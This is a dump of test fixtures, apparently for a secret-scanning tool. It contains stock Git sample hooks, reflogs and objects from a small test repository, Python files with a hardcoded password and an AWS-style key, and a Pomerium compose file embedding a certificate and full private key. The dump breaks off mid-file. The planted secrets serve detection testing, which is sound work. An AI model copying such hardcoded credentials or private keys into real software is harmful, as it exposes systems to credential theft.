    "content": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed.\n# Called by \"git merge\" with no arguments.  The hook should\n# exit with non-zero status after issuing an appropriate message to\n# stderr if it wants to stop the merge commit.\n#\n# To enable this hook, rename this file to \"pre-merge-commit\".\n\n. git-sh-setup\ntest -x \"$GIT_DIR/hooks/pre-commit\" &&\n        exec \"$GIT_DIR/hooks/pre-commit\"\n:\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-push.sample",
    "content": "#!/bin/sh\n\n# An example hook script to verify what is about to be pushed.  Called by \"git\n# push\" after it has checked the remote status, but before anything has been\n# pushed.  If this script exits with a non-zero status nothing will be pushed.\n#\n# This hook is called with the following parameters:\n#\n# $1 -- Name of the remote to which the push is being done\n# $2 -- URL to which the push is being done\n#\n# If pushing without using a named remote those arguments will be equal.\n#\n# Information about the commits which are being pushed is supplied as lines to\n# the standard input in the form:\n#\n#   <local ref> <local oid> <remote ref> <remote oid>\n#\n# This sample shows how to prevent push of commits where the log message starts\n# with \"WIP\" (work in progress).\n\nremote=\"$1\"\nurl=\"$2\"\n\nzero=$(git hash-object --stdin </dev/null | tr '[0-9a-f]' '0')\n\nwhile read local_ref local_oid remote_ref remote_oid\ndo\n\tif test \"$local_oid\" = \"$zero\"\n\tthen\n\t\t# Handle delete\n\t\t:\n\telse\n\t\tif test \"$remote_oid\" = \"$zero\"\n\t\tthen\n\t\t\t# New branch, examine all commits\n\t\t\trange=\"$local_oid\"\n\t\telse\n\t\t\t# Update to existing branch, examine new commits\n\t\t\trange=\"$remote_oid..$local_oid\"\n\t\tfi\n\n\t\t# Check for WIP commit\n\t\tcommit=$(git rev-list -n 1 --grep '^WIP' \"$range\")\n\t\tif test -n \"$commit\"\n\t\tthen\n\t\t\techo >&2 \"Found WIP commit in $local_ref, not pushing\"\n\t\t\texit 1\n\t\tfi\n\tfi\ndone\n\nexit 0\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-rebase.sample",
    "content": "#!/bin/sh\n#\n# Copyright (c) 2006, 2008 Junio C Hamano\n#\n# The \"pre-rebase\" hook is run just before \"git rebase\" starts doing\n# its job, and can prevent the command from running by exiting with\n# non-zero status.\n#\n# The hook is called with the following parameters:\n#\n# $1 -- the upstream the series was forked from.\n# $2 -- the branch being rebased (or empty when rebasing the current branch).\n#\n# This sample shows how to prevent topic branches that are already\n# merged to 'next' branch from getting rebased, because allowing it\n# would result in rebasing already published history.\n\npublish=next\nbasebranch=\"$1\"\nif test \"$#\" = 2\nthen\n\ttopic=\"refs/heads/$2\"\nelse\n\ttopic=`git symbolic-ref HEAD` ||\n\texit 0 ;# we do not interrupt rebasing detached HEAD\nfi\n\ncase \"$topic\" in\nrefs/heads/??/*)\n\t;;\n*)\n\texit 0 ;# we do not interrupt others.\n\t;;\nesac\n\n# Now we are dealing with a topic branch being rebased\n# on top of master.  Is it OK to rebase it?\n\n# Does the topic really exist?\ngit show-ref -q \"$topic\" || {\n\techo >&2 \"No such branch $topic\"\n\texit 1\n}\n\n# Is topic fully merged to master?\nnot_in_master=`git rev-list --pretty=oneline ^master \"$topic\"`\nif test -z \"$not_in_master\"\nthen\n\techo >&2 \"$topic is fully merged to master; better remove it.\"\n\texit 1 ;# we could allow it, but there is no point.\nfi\n\n# Is topic ever merged to next?  If so you should not be rebasing it.\nonly_next_1=`git rev-list ^master \"^$topic\" ${publish} | sort`\nonly_next_2=`git rev-list ^master           ${publish} | sort`\nif test \"$only_next_1\" = \"$only_next_2\"\nthen\n\tnot_in_topic=`git rev-list \"^$topic\" master`\n\tif test -z \"$not_in_topic\"\n\tthen\n\t\techo >&2 \"$topic is already up to date with master\"\n\t\texit 1 ;# we could allow it, but there is no point.\n\telse\n\t\texit 0\n\tfi\nelse\n\tnot_in_next=`git rev-list --pretty=oneline ^${publish} \"$topic\"`\n\t/usr/bin/perl -e '\n\t\tmy $topic = $ARGV[0];\n\t\tmy $msg = \"* $topic has commits already merged to public branch:\\n\";\n\t\tmy (%not_in_next) = map {\n\t\t\t/^([0-9a-f]+) /;\n\t\t\t($1 => 1);\n\t\t} split(/\\n/, $ARGV[1]);\n\t\tfor my $elem (map {\n\t\t\t\t/^([0-9a-f]+) (.*)$/;\n\t\t\t\t[$1 => $2];\n\t\t\t} split(/\\n/, $ARGV[2])) {\n\t\t\tif (!exists $not_in_next{$elem->[0]}) {\n\t\t\t\tif ($msg) {\n\t\t\t\t\tprint STDERR $msg;\n\t\t\t\t\tundef $msg;\n\t\t\t\t}\n\t\t\t\tprint STDERR \" $elem->[1]\\n\";\n\t\t\t}\n\t\t}\n\t' \"$topic\" \"$not_in_next\" \"$not_in_master\"\n\texit 1\nfi\n\n<<\\DOC_END\n\nThis sample hook safeguards topic branches that have been\npublished from being rewound.\n\nThe workflow assumed here is:\n\n * Once a topic branch forks from \"master\", \"master\" is never\n   merged into it again (either directly or indirectly).\n\n * Once a topic branch is fully cooked and merged into \"master\",\n   it is deleted.  If you need to build on top of it to correct\n   earlier mistakes, a new topic branch is created by forking at\n   the tip of the \"master\".  This is not strictly necessary, but\n   it makes it easier to keep your history simple.\n\n * Whenever you need to test or publish your changes to topic\n   branches, merge them into \"next\" branch.\n\nThe script, being an example, hardcodes the publish branch name\nto be \"next\", but it is trivial to make it configurable via\n$GIT_DIR/config mechanism.\n\nWith this workflow, you would want to know:\n\n(1) ... if a topic branch has ever been merged to \"next\".  Young\n    topic branches can have stupid mistakes you would rather\n    clean up before publishing, and things that have not been\n    merged into other branches can be easily rebased without\n    affecting other people.  But once it is published, you would\n    not want to rewind it.\n\n(2) ... if a topic branch has been fully merged to \"master\".\n    Then you can delete it.  More importantly, you should not\n    build on top of it -- other people may already want to\n    change things related to the topic as patches against your\n    \"master\", so if you need further changes, it is better to\n    fork the topic (perhaps with the same name) afresh from the\n    tip of \"master\".\n\nLet's look at this example:\n\n\t\t   o---o---o---o---o---o---o---o---o---o \"next\"\n\t\t  /       /           /           /\n\t\t /   a---a---b A     /           /\n\t\t/   /               /           /\n\t       /   /   c---c---c---c B         /\n\t      /   /   /             \\         /\n\t     /   /   /   b---b C     \\       /\n\t    /   /   /   /             \\     /\n    ---o---o---o---o---o---o---o---o---o---o---o \"master\"\n\n\nA, B and C are topic branches.\n\n * A has one fix since it was merged up to \"next\".\n\n * B has finished.  It has been fully merged up to \"master\" and \"next\",\n   and is ready to be deleted.\n\n * C has not merged to \"next\" at all.\n\nWe would want to allow C to be rebased, refuse A, and encourage\nB to be deleted.\n\nTo compute (1):\n\n\tgit rev-list ^master ^topic next\n\tgit rev-list ^master        next\n\n\tif these match, topic has not merged in next at all.\n\nTo compute (2):\n\n\tgit rev-list master..topic\n\n\tif this is empty, it is fully merged to \"master\".\n\nDOC_END\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/pre-receive.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to make use of push options.\n# The example simply echoes all push options that start with 'echoback='\n# and rejects all pushes when the \"reject\" push option is used.\n#\n# To enable this hook, rename this file to \"pre-receive\".\n\nif test -n \"$GIT_PUSH_OPTION_COUNT\"\nthen\n\ti=0\n\twhile test \"$i\" -lt \"$GIT_PUSH_OPTION_COUNT\"\n\tdo\n\t\teval \"value=\\$GIT_PUSH_OPTION_$i\"\n\t\tcase \"$value\" in\n\t\techoback=*)\n\t\t\techo \"echo from the pre-receive-hook: ${value#*=}\" >&2\n\t\t\t;;\n\t\treject)\n\t\t\texit 1\n\t\tesac\n\t\ti=$((i + 1))\n\tdone\nfi\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/prepare-commit-msg.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to prepare the commit log message.\n# Called by \"git commit\" with the name of the file that has the\n# commit message, followed by the description of the commit\n# message's source.  The hook's purpose is to edit the commit\n# message file.  If the hook fails with a non-zero status,\n# the commit is aborted.\n#\n# To enable this hook, rename this file to \"prepare-commit-msg\".\n\n# This hook includes three examples. The first one removes the\n# \"# Please enter the commit message...\" help message.\n#\n# The second includes the output of \"git diff --name-status -r\"\n# into the message, just before the \"git status\" output.  It is\n# commented because it doesn't cope with --amend or with squashed\n# commits.\n#\n# The third example adds a Signed-off-by line to the message, that can\n# still be edited.  This is rarely a good idea.\n\nCOMMIT_MSG_FILE=$1\nCOMMIT_SOURCE=$2\nSHA1=$3\n\n/usr/bin/perl -i.bak -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' \"$COMMIT_MSG_FILE\"\n\n# case \"$COMMIT_SOURCE,$SHA1\" in\n#  ,|template,)\n#    /usr/bin/perl -i.bak -pe '\n#       print \"\\n\" . `git diff --cached --name-status -r`\n# \t if /^#/ && $first++ == 0' \"$COMMIT_MSG_FILE\" ;;\n#  *) ;;\n# esac\n\n# SOB=$(git var GIT_COMMITTER_IDENT | sed -n 's/^\\(.*>\\).*$/Signed-off-by: \\1/p')\n# git interpret-trailers --in-place --trailer \"$SOB\" \"$COMMIT_MSG_FILE\"\n# if test -z \"$COMMIT_SOURCE\"\n# then\n#   /usr/bin/perl -i.bak -pe 'print \"\\n\" if !$first_line++' \"$COMMIT_MSG_FILE\"\n# fi\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/push-to-checkout.sample",
    "content": "#!/bin/sh\n\n# An example hook script to update a checked-out tree on a git push.\n#\n# This hook is invoked by git-receive-pack(1) when it reacts to git\n# push and updates reference(s) in its repository, and when the push\n# tries to update the branch that is currently checked out and the\n# receive.denyCurrentBranch configuration variable is set to\n# updateInstead.\n#\n# By default, such a push is refused if the working tree and the index\n# of the remote repository has any difference from the currently\n# checked out commit; when both the working tree and the index match\n# the current commit, they are updated to match the newly pushed tip\n# of the branch. This hook is to be used to override the default\n# behaviour; however the code below reimplements the default behaviour\n# as a starting point for convenient modification.\n#\n# The hook receives the commit with which the tip of the current\n# branch is going to be updated:\ncommit=$1\n\n# It can exit with a non-zero status to refuse the push (when it does\n# so, it must not modify the index or the working tree).\ndie () {\n\techo >&2 \"$*\"\n\texit 1\n}\n\n# Or it can make any necessary changes to the working tree and to the\n# index to bring them to the desired state when the tip of the current\n# branch is updated to the new commit, and exit with a zero status.\n#\n# For example, the hook can simply run git read-tree -u -m HEAD \"$1\"\n# in order to emulate git fetch that is run in the reverse direction\n# with git push, as the two-tree form of git read-tree -u -m is\n# essentially the same as git switch or git checkout that switches\n# branches while keeping the local changes in the working tree that do\n# not interfere with the difference between the branches.\n\n# The below is a more-or-less exact translation to shell of the C code\n# for the default behaviour for git's push-to-checkout hook defined in\n# the push_to_deploy() function in builtin/receive-pack.c.\n#\n# Note that the hook will be executed from the repository directory,\n# not from the working tree, so if you want to perform operations on\n# the working tree, you will have to adapt your code accordingly, e.g.\n# by adding \"cd ..\" or using relative paths.\n\nif ! git update-index -q --ignore-submodules --refresh\nthen\n\tdie \"Up-to-date check failed\"\nfi\n\nif ! git diff-files --quiet --ignore-submodules --\nthen\n\tdie \"Working directory has unstaged changes\"\nfi\n\n# This is a rough translation of:\n#\n#   head_has_history() ? \"HEAD\" : EMPTY_TREE_SHA1_HEX\nif git cat-file -e HEAD 2>/dev/null\nthen\n\thead=HEAD\nelse\n\thead=$(git hash-object -t tree --stdin </dev/null)\nfi\n\nif ! git diff-index --quiet --cached --ignore-submodules $head --\nthen\n\tdie \"Working directory has staged changes\"\nfi\n\nif ! git read-tree -u -m \"$commit\"\nthen\n\tdie \"Could not update working tree to new HEAD\"\nfi\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/hooks/update.sample",
    "content": "#!/bin/sh\n#\n# An example hook script to block unannotated tags from entering.\n# Called by \"git receive-pack\" with arguments: refname sha1-old sha1-new\n#\n# To enable this hook, rename this file to \"update\".\n#\n# Config\n# ------\n# hooks.allowunannotated\n#   This boolean sets whether unannotated tags will be allowed into the\n#   repository.  By default they won't be.\n# hooks.allowdeletetag\n#   This boolean sets whether deleting tags will be allowed in the\n#   repository.  By default they won't be.\n# hooks.allowmodifytag\n#   This boolean sets whether a tag may be modified after creation. By default\n#   it won't be.\n# hooks.allowdeletebranch\n#   This boolean sets whether deleting branches will be allowed in the\n#   repository.  By default they won't be.\n# hooks.denycreatebranch\n#   This boolean sets whether remotely creating branches will be denied\n#   in the repository.  By default this is allowed.\n#\n\n# --- Command line\nrefname=\"$1\"\noldrev=\"$2\"\nnewrev=\"$3\"\n\n# --- Safety check\nif [ -z \"$GIT_DIR\" ]; then\n\techo \"Don't run this script from the command line.\" >&2\n\techo \" (if you want, you could supply GIT_DIR then run\" >&2\n\techo \"  $0 <ref> <oldrev> <newrev>)\" >&2\n\texit 1\nfi\n\nif [ -z \"$refname\" -o -z \"$oldrev\" -o -z \"$newrev\" ]; then\n\techo \"usage: $0 <ref> <oldrev> <newrev>\" >&2\n\texit 1\nfi\n\n# --- Config\nallowunannotated=$(git config --type=bool hooks.allowunannotated)\nallowdeletebranch=$(git config --type=bool hooks.allowdeletebranch)\ndenycreatebranch=$(git config --type=bool hooks.denycreatebranch)\nallowdeletetag=$(git config --type=bool hooks.allowdeletetag)\nallowmodifytag=$(git config --type=bool hooks.allowmodifytag)\n\n# check for no description\nprojectdesc=$(sed -e '1q' \"$GIT_DIR/description\")\ncase \"$projectdesc\" in\n\"Unnamed repository\"* | \"\")\n\techo \"*** Project description file hasn't been set\" >&2\n\texit 1\n\t;;\nesac\n\n# --- Check types\n# if $newrev is 0000...0000, it's a commit to delete a ref.\nzero=$(git hash-object --stdin </dev/null | tr '[0-9a-f]' '0')\nif [ \"$newrev\" = \"$zero\" ]; then\n\tnewrev_type=delete\nelse\n\tnewrev_type=$(git cat-file -t $newrev)\nfi\n\ncase \"$refname\",\"$newrev_type\" in\n\trefs/tags/*,commit)\n\t\t# un-annotated tag\n\t\tshort_refname=${refname##refs/tags/}\n\t\tif [ \"$allowunannotated\" != \"true\" ]; then\n\t\t\techo \"*** The un-annotated tag, $short_refname, is not allowed in this repository\" >&2\n\t\t\techo \"*** Use 'git tag [ -a | -s ]' for tags you want to propagate.\" >&2\n\t\t\texit 1\n\t\tfi\n\t\t;;\n\trefs/tags/*,delete)\n\t\t# delete tag\n\t\tif [ \"$allowdeletetag\" != \"true\" ]; then\n\t\t\techo \"*** Deleting a tag is not allowed in this repository\" >&2\n\t\t\texit 1\n\t\tfi\n\t\t;;\n\trefs/tags/*,tag)\n\t\t# annotated tag\n\t\tif [ \"$allowmodifytag\" != \"true\" ] && git rev-parse $refname > /dev/null 2>&1\n\t\tthen\n\t\t\techo \"*** Tag '$refname' already exists.\" >&2\n\t\t\techo \"*** Modifying a tag is not allowed in this repository.\" >&2\n\t\t\texit 1\n\t\tfi\n\t\t;;\n\trefs/heads/*,commit)\n\t\t# branch\n\t\tif [ \"$oldrev\" = \"$zero\" -a \"$denycreatebranch\" = \"true\" ]; then\n\t\t\techo \"*** Creating a branch is not allowed in this repository\" >&2\n\t\t\texit 1\n\t\tfi\n\t\t;;\n\trefs/heads/*,delete)\n\t\t# delete branch\n\t\tif [ \"$allowdeletebranch\" != \"true\" ]; then\n\t\t\techo \"*** Deleting a branch is not allowed in this repository\" >&2\n\t\t\texit 1\n\t\tfi\n\t\t;;\n\trefs/remotes/*,commit)\n\t\t# tracking branch\n\t\t;;\n\trefs/remotes/*,delete)\n\t\t# delete tracking branch\n\t\tif [ \"$allowdeletebranch\" != \"true\" ]; then\n\t\t\techo \"*** Deleting a tracking branch is not allowed in this repository\" >&2\n\t\t\texit 1\n\t\tfi\n\t\t;;\n\t*)\n\t\t# Anything else (is there anything else?)\n\t\techo \"*** Update hook: unknown type of update to ref $refname of type $newrev_type\" >&2\n\t\texit 1\n\t\t;;\nesac\n\n# --- Finished\nexit 0\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/info/exclude",
    "content": "# git ls-files --others --exclude-from=.git/info/exclude\n# Lines that start with '#' are comments.\n# For a project mostly in C, the following would be a good set of\n# exclude patterns (uncomment them if you want to use them):\n# *.[oa]\n# *~\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/logs/HEAD",
    "content": "0000000000000000000000000000000000000000 7da2a86863a535ea355b8c8cd7525e2cb2f922d0 Omry Mendelovich <omry155@gmail.com> 1681037568 +0300\tcommit (initial): readme\n7da2a86863a535ea355b8c8cd7525e2cb2f922d0 e95677e839e67e685138aeba087d7deec0879919 Omry Mendelovich <omry155@gmail.com> 1681037615 +0300\tcommit: add a main\ne95677e839e67e685138aeba087d7deec0879919 8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d Omry Mendelovich <omry155@gmail.com> 1681042839 +0300\tcommit: foobar\n8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d 56a8b042461d934c13fd3bbec446aaab37479181 Omry Mendelovich <omry155@gmail.com> 1681042887 +0300\tcommit: pass file\n56a8b042461d934c13fd3bbec446aaab37479181 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich <omry155@gmail.com> 1681042928 +0300\tcommit: remove it\n779153df7f6636c0e4cb625b5e39dc088b061924 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich <omry155@gmail.com> 1681044381 +0300\tcheckout: moving from master to test_git\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/logs/refs/heads/master",
    "content": "0000000000000000000000000000000000000000 7da2a86863a535ea355b8c8cd7525e2cb2f922d0 Omry Mendelovich <omry155@gmail.com> 1681037568 +0300\tcommit (initial): readme\n7da2a86863a535ea355b8c8cd7525e2cb2f922d0 e95677e839e67e685138aeba087d7deec0879919 Omry Mendelovich <omry155@gmail.com> 1681037615 +0300\tcommit: add a main\ne95677e839e67e685138aeba087d7deec0879919 8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d Omry Mendelovich <omry155@gmail.com> 1681042839 +0300\tcommit: foobar\n8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d 56a8b042461d934c13fd3bbec446aaab37479181 Omry Mendelovich <omry155@gmail.com> 1681042887 +0300\tcommit: pass file\n56a8b042461d934c13fd3bbec446aaab37479181 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich <omry155@gmail.com> 1681042928 +0300\tcommit: remove it\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/logs/refs/heads/test_git",
    "content": "0000000000000000000000000000000000000000 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich <omry155@gmail.com> 1681044381 +0300\tbranch: Created from HEAD\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/objects/51/8bf059756d932da372d77ca9a4a9371c2d210d",
    "content": "x\u0001M\n \u0010E[Wn\u0012X\t}`d9\u001a\u001aYAtWu-Nv}\u0005 s028\"1{#4`ў$\u001c5e\u0017O\t+&gRR\u0019ӌ\u0005\u001b\b\u000f\u001d>󒬑/+\u000b-'x"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/objects/7d/a2a86863a535ea355b8c8cd7525e2cb2f922d0",
    "content": "x\u0001[\n0\u0010Fay\u0017$&m@\rkHm@7k\"52c<\ne:X%\u0011l\u0013\u0001D\u00118nk\u0007\u0019{lҵt1_Endd\u001b}謝֪k6۫4\u000b\u000f<:f"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/objects/81/47cdd7190b6f25c61f3f911d1c1d4f3f9a336d",
    "content": "x\u0001\n\u0002!\u0010E{+|\u000fbtWg~ Qgۅ\\C,\u001bz;\u001c8j)[7\u0011MqaΔmʑHa\u00162\u00191\u00177ٻ<\u0014ģxrf\"@1\u0001!ɞY?[Z\u000ec>\noS墍'\u0003\u001d\b\u0013\u001avoZ#7\u0003[GK"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/refs/heads/master",
    "content": "779153df7f6636c0e4cb625b5e39dc088b061924\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/git_to_change/refs/heads/test_git",
    "content": "779153df7f6636c0e4cb625b5e39dc088b061924\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/main.py",
    "content": "\nif __name__ == '__main__':\n    print('showing pass')\n    password = 'pass124'\n\n\n    print('the password is: ', password)\n\n"
  },
  {
    "path": "tests/secrets/git_history/testing_repo/pass.py",
    "content": "\ndef get_pass():\n    AWS_ACCESS_KEY ='wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'\n    return AWS_ACCESS_KEY\n\nprint(get_pass())\n\n\n"
  },
  {
    "path": "tests/secrets/json_multiline/pomerium_compose.json",
    "content": "{\n  \"original file can be found in\": \"https://github.com/pomerium/pomerium/blob/main/integration/clusters/single/compose.yml\",\n  \"networks\": {\n    \"main\": {}\n  },\n  \"services\": {\n    \"fortio\": {\n      \"command\": [\n        \"server\",\n        \"-cert\",\n        \"/fortio_config/trusted.pem\",\n        \"-key\",\n        \"/fortio_config/trusted-key.pem\"\n      ],\n      \"depends_on\": {\n        \"fortio-init\": {\n          \"condition\": \"service_completed_successfully\"\n        }\n      },\n      \"image\": \"fortio/fortio:1.17.0\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"fortio\"\n          ]\n        }\n      },\n      \"ports\": [\n        \"8079:8079/tcp\"\n      ],\n      \"volumes\": [\n        \"fortio_config:/fortio_config\"\n      ]\n    },\n    \"fortio-init\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"echo \\\"$$CERT\\\" >/fortio_config/trusted.pem\\necho \\\"$$KEY\\\" >/fortio_config/trusted-key.pem\\n\"\n      ],\n      \"environment\": {\n        \"CERT\": \"-----BEGIN CERTIFICATE-----\\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\\nxjUE8XUu\\n-----END CERTIFICATE-----\\n\",\n        \"KEY\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\\ngmLh4w/CcPyb9ZyXceWU/nU=\\n-----END PRIVATE KEY-----\\n\"\n      },\n      \"image\": \"busybox:latest\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"fortio-init\"\n          ]\n        }\n      },\n      \"volumes\": [\n        \"fortio_config:/fortio_config\"\n      ]\n    },\n    \"fortio-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://fortio:8080\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"fortio-ready\"\n          ]\n        }\n      }\n    },\n    \"mock-idp\": {\n      \"command\": [\n        \"--provider\",\n        \"oidc\",\n        \"--port\",\n        \"8024\",\n        \"--root-url\",\n        \"https://mock-idp.localhost.pomerium.io/\"\n      ],\n      \"image\": \"pomerium/mock-idps:${MOCK_IDPS_TAG:-master}\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"mock-idp\"\n          ]\n        }\n      },\n      \"ports\": [\n        \"8024:8024/tcp\"\n      ]\n    },\n    \"mock-idp-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://mock-idp:8024/.well-known/openid-configuration\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"mock-idp-ready\"\n          ]\n        }\n      }\n    },\n    \"pomerium\": {\n      \"depends_on\": {\n        \"fortio-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"mock-idp-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"postgres-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"trusted-1-httpdetails-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        \"trusted-2-httpdetails-ready\": {\n          \"condition\": \"service_completed_successfully\"\n        },\n        